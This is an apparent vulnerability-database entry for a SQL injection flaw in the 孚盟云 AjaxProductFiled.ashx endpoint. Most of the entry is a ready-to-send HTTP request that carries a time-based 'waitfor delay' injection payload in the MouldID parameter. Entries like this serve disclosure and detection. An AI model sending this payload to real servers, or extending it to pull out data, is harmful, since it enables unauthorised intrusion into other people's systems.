孚盟云 AjaxProductFiled.ashx SQL注入漏洞

2025-09-22 孚盟云 PoC Public

Description

孚盟云 AjaxProductFiled.ashx SQL注入漏洞

PoC

GET /m/Dingding/Ajax/AjaxProductFiled.ashx?method=savePuductFiled&MouldID=-1%27waitfor+delay%270:0:3%27-- HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://vip.vulbox.com/detail/1970011291540131840

References

Related Vulnerabilities